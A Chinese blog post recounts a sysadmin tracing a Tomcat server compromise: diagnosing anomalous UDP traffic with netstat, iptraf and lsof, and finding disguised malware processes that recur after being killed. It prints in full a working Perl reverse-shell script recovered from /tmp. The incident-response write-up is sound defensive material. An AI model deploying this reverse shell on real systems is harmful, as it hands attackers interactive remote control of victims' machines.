就在今天，我也遇到了传说中的服务器挂马事件，折腾了近一天最终解决了，遗憾的是未能抓到攻击途径。叙述一下这件事情的经过。
早上收到了一封来自于阿里云的邮件
尊敬的用户： 经检测您的云服务器（擦掉ip）存在恶意扫描，请您务必在12小时内处理，逾期未处理将禁止您服务器22、380、443、1314、3306、3433、3389、8080端口对外发包，并关停云服务器。关停后仅有一次机会自助解封，请您务必重视。感谢您的配合。 请您尽快执行以下操作 1、病毒木马清理 请您使用杀毒软件进行病毒查杀，清理系统盘以及数据盘的木马或异常程序 2、开启云盾服务并实施安全防御方案 请您尽快开启云盾服务，开启步骤详见：http://help.aliyun.com/view/11108300_13444169.html 建议您实施安全防御方案，参考：http://help.aliyun.com/manual?spm=0.0.0.0.5TfSs4&helpId=2078
大致扫了一下，用了ps aux, netstat -anltp, htop这些命令看了一下，并未发现什么异常。于是给阿里云提ticket，问他们从哪些记录判断我的服务器有恶意扫描操作的。
他们给了一个日志，日志的记录大致是这样的：
222.216.190.83:80 222.216.190.83:80 222.216.190.83:80 ......
发现有大量的向这个ip的80端口请求的记录。于是我上云盾看了下，发现服务器确实间歇性的高流量，而且是流出流量，很规律的波浪线，波峰都在3M左右，基本达到了服务器的带宽，感觉确实有问题了，静下心来再查。搞了将近一下午的时间，最终终于发现问题了。
找问题的曲折就不谈了（其实是没有处理这种问题的经验，瞎折腾，瞎忙活了半天，各种google，各种ls，各种ps，各种….），只写出最终发现问题的经过。
既然是流量出现异常，那么就检查流量把，于是nload, iftop这两条命令是最早用的，轮流上，但是发现流量一直很低，都准备放弃的时候，突然发现iftop显示TX的速率达到了2M，看来确实有问题！
事不宜迟，立刻netstat -anltp，无异常～
甚至连个80端口的tcp请求都没有（这里就是我一直被误导的地方了，下意识以为80端口是在请求http，应该是tcp协议，时间浪费在这里了。）但是神器iptraf让我发现了这个问题。
iptraf看一下流量监控，我的注意力其实一直集中在上面的tcp请求，下面的udp各种红字自然被忽略了。一直盯着上面的tcp在看，除了自己的ssh流量排第一之外，别的都没啥流量，没有异常，iftop依然显示当前的TX达到了2M。
这时候猛然注意力集中在了下面，因为下面不停的红色跳动数字引起的我的注意，原因找到了！我发现不停的有udp请求在跳，而且其中就有80端口和3137端口，就这两个端口的数据一直在跳，原来如此！就说怎么查不到，原来是udp在请求80端口！
既然是udp，于是netstat -anup，还好udp不多，一眼发现了问题！
netstat -anup 激活Internet连接 (服务器和已建立连接的) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp 0 0 10.160.28.187:123 0.0.0.0:* 1759/ntpd udp 0 0 127.0.0.1:123 0.0.0.0:* 1759/ntpd udp 0 0 0.0.0.0:123 0.0.0.0:* 1759/ntpd udp 0 229632 0.0.0.0:57606 0.0.0.0:* 22607/ udp 0 0 0.0.0.0:47508 0.0.0.0:* 26384/java udp6 0 0 :::123 :::* 1759/ntpd
一个没有Program name的进程赫然出现了，可疑的不能再可疑了！话不多说，立马ps aux | grep 22607
ps aux | grep 22607 root 16315 0.0 0.0 9816 928 pts/3 S+ 18:41 0:00 grep --color=auto 22607 tomcat7 22607 0.1 0.0 349372 888 ? Ssl Jul16 3:29 [.ECC6DFE919A382] pwdx 22607 22607: /var/lib/tomcat7
这样一来明了了，这个非常可疑的进程已经浮现了。一看用户名，tomcat7，以为是tomcat下部署的网站被挂马了，立马service tomcat7 stop。不起作用，进程还在，愣了一下，猛然想起来这个应该是以tomcat7用户身份运行的程序，而不是tomcat服务启动的进程。
kill 22067, iptraf消停了，udp的红字不再一直蹦个不停了。
但是这是一个不完美的解决过程。首先不明白 [.ECC6DFE919A382]这个到底是什么，怎样产生的，代表什么意思，为什么是中括号标注的进程，而不是一般看到的具体的进程名。
其次，最遗憾的是不知道挂马者的挂马途径，不知道这个进程到底是什么，到底做了什么事情。遗憾啊
又发现了好玩的东西，这个tomcat7用户居然还启动了其他可疑的[]进程
ps aux | grep tomcat tomcat7 20092 0.0 0.0 349264 612 ? Ssl 05:48 0:20 [freeBSD]
后记2： 昨天杀掉的进程，今天再次出现了
# ps aux | grep tomcat tomcat7 16503 1.0 40.5 1552124 624712 ? Sl Jul17 8:57 /usr/lib/jvm/java-7-openjdk-amd64/bin/java -Djava.util.logging.config.file=/var/lib/tomcat7/conf/logging.properties -Djava.awt.headless=true -Xmx128m -XX:+UseConcMarkSweepGC -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Xms256m -Xmx512m -XX:PermSize=128m -XX:MaxPermSize=128m -XX:NewRatio=1 -Djava.endorsed.dirs=/usr/share/tomcat7/endorsed -classpath /usr/share/tomcat7/bin/bootstrap.jar:/usr/share/tomcat7/bin/tomcat-juli.jar -Dcatalina.base=/var/lib/tomcat7 -Dcatalina.home=/usr/share/tomcat7 -Djava.io.tmpdir=/tmp/tomcat7-tomcat7-tmp org.apache.catalina.startup.Bootstrap start tomcat7 20735 0.0 0.1 2684 2388 ? S 07:55 0:00 /tmp/freeBSD /tmp/freeBSD 1 tomcat7 20739 0.0 0.0 349264 716 ? Ssl 07:55 0:02 [.ECC6DFE919A382] root 24576 0.0 0.0 9816 928 pts/2 S+ 09:12 0:00 grep --color=auto tomcat
而/tmp下是没有freeBSD这个程序的，应该是启动后被删掉了。
ll /tmp 总用量 1240 drwxrwxrwt 8 root root 4096 7月 18 09:17 ./ drwxr-xr-x 23 root root 4096 7月 10 17:28 ../ -rw-r--r-- 1 tomcat7 tomcat7 4 7月 12 01:36 12.txt -rwxr-xr-x 1 tomcat7 tomcat7 1128784 7月 18 07:55 .ECC6DFE919A382BADRR1A8CDFC9FB43AA0* drwxr-xr-x 2 tomcat7 tomcat7 4096 7月 17 18:43 hsperfdata_tomcat7/ drwxr-xr-x 2 tomcat7 root 4096 7月 17 18:44 tomcat7-tomcat7-tmp/ -rw-r--r-- 1 tomcat7 tomcat7 657 7月 6 05:41 zerl
tomcat7用户创建了一堆可疑的玩意，其中zerl是一个perl脚本
#!/usr/bin/perl -w
use strict;
use Socket;
use IO::Handle;
if($#ARGV+1 != 2){
print "$#ARGV $0 Remote_IP Remote_Port \n";
exit 1;
}
my $remote_ip = $ARGV[0];
my $remote_port = $ARGV[1];
my $proto = getprotobyname("tcp");
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));
my $shell = ‘/bin/bash -i‘;
socket(SOCK, AF_INET, SOCK_STREAM, $proto);
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect(SOCK,$pack_addr) or die "can not connect:$!";
open STDIN, "<&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";
print "Enjoy the shell.\n";
system($shell);
close SOCK;
exit 0;
```bash ll hsperfdata_tomcat7/ 总用量 40 drwxr-xr-x 2 tomcat7 tomcat7 4096 7月 17 18:43 ./ drwxrwxrwt 8 root root 4096 7月 18 09:17 ../ -rw------- 1 tomcat7 tomcat7 32768 7月 18 09:21 16503 cat 12.txt 1233
凌乱了，完全不知道从哪里出了问题，这个程序到底在做什么？
此时想到/tmp/freeBSD，这个文件肯定有玄机，但是被删了，尝试lsof找回。
# lsof -p 20735 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME freeBSD 20735 tomcat7 cwd DIR 202,1 4096 664470 /var/lib/tomcat7 freeBSD 20735 tomcat7 rtd DIR 202,1 4096 2 / freeBSD 20735 tomcat7 txt REG 202,1 1128784 1048681 /tmp/freeBSD (deleted) freeBSD 20735 tomcat7 0r CHR 1,3 0t0 4848 /dev/null freeBSD 20735 tomcat7 1w CHR 1,3 0t0 4848 /dev/null freeBSD 20735 tomcat7 2w CHR 1,3 0t0 4848 /dev/null ll /proc/20735/fd 总用量 0 dr-x------ 2 tomcat7 tomcat7 0 7月 18 07:56 ./ dr-xr-xr-x 8 tomcat7 tomcat7 0 7月 18 07:55 ../ lr-x------ 1 tomcat7 tomcat7 64 7月 18 07:56 0 -> /dev/null l-wx------ 1 tomcat7 tomcat7 64 7月 18 07:56 1 -> /dev/null l-wx------ 1 tomcat7 tomcat7 64 7月 18 07:56 2 -> /dev/null
日了，根本没有文件描述符占用，这挂马者是有多高端啊，根本不给留机会啊
这个就是那个现形的木马文件：
# lsof -p 20739 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME .ECC6DFE9 20739 tomcat7 cwd DIR 202,1 4096 664470 /var/lib/tomcat7 .ECC6DFE9 20739 tomcat7 rtd DIR 202,1 4096 2 / .ECC6DFE9 20739 tomcat7 txt REG 202,1 1415201 1048671 /tmp/.ECC6DFE919A382BADRR1A8CDFC9FB43AA0 (deleted) .ECC6DFE9 20739 tomcat7 mem REG 202,1 3337488 1185502 /usr/lib/locale/locale-archive .ECC6DFE9 20739 tomcat7 0u CHR 1,3 0t0 4848 /dev/null .ECC6DFE9 20739 tomcat7 1u CHR 1,3 0t0 4848 /dev/null .ECC6DFE9 20739 tomcat7 2u CHR 1,3 0t0 4848 /dev/null .ECC6DFE9 20739 tomcat7 3u IPv4 10636902 0t0 TCP xxxxxxxxxxxx:58719->119.1.109.43:10991 (ESTABLISHED) # file .ECC6DFE919A382BADRR1A8CDFC9FB43AA0 .ECC6DFE919A382BADRR1A8CDFC9FB43AA0: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped root@dunham:/tmp# du -sh .ECC6DFE919A382BADRR1A8CDFC9FB43AA0 1.1M .ECC6DFE919A382BADRR1A8CDFC9FB43AA0
119.1.109.43这个ip指向了贵州的ip，不确定是不是挂马者。这个可疑进程一直在发起udp数据，连接几个固定ip的8888端口，不知道发送什么东西。
一次tomcat服务器被挂马的解决经历,布布扣,bubuko.com
原文：http://my.oschina.net/abcfy2/blog/292159